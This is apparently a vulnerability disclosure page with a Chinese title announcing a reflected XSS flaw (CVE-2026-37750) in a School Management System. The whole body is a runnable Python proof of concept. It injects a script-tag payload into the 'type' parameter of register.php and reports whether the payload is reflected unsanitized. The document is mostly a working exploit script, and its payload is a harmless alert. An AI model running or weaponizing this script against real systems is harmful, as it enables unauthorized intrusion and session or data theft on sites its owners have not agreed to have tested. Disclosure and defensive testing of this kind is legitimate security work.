CVE-2026-37750 学校管理系统存在反射型XSS漏洞

import requests # PoC for CVE-2026-37750 # Target: School Management System (mahmoudai1) # Vulnerable File: register.php # Vulnerable Parameter: type target_url = "http://example.com/register.php" xss_payload = "<script>alert('CVE-2026-37750_PoC')</script>" # Inject payload into the 'type' parameter params = { "type": xss_payload } try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected unsanitized in the response if xss_payload in response.text: print("[+] Vulnerability Confirmed: Reflected XSS found in 'type' parameter.") print(f"[+] Payload URL: {response.url}") else: print("[-] Vulnerability not detected or payload was sanitized.") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}")